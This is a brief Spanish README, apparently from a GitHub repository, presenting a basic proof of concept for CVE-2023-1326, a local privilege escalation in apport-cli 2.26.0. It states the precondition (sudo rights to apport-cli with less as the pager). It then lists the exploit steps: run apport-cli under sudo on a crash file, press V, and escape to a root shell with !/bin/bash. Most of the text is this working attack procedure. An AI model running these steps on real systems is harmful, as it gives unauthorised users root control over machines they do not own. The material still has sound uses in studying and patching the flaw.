pol-ruiz/cve-2023-1326Esto es una prueba de concepto propia i basica de la vulneravilidad CVE-2023-1326
Una prueba de concepto para CVE-2023–1326 en apport-cli 2.26.0
Esta vulnerabilidad es de escalada de privilegios en apport-cli 2.26.0, similar a CVE-2023–26604, esta vulnerabilidad solo funciona si se asigna en sudoers:
Se encontró un ataque de escalada de privilegios en apport-cli 2.26.0 y versiones anteriores que es similar a CVE-2023-26604. Si un sistema está especialmente configurado para permitir que usuarios sin privilegios ejecuten sudo apport-cli, less está configurado como el paginador y se puede ajustar el tamaño del terminal: un atacante local puede escalar privilegios.
sudo /usr/bin/apport-cli -c /var/crash/some_crash_file.crash
press V (view report)
!/bin/bash
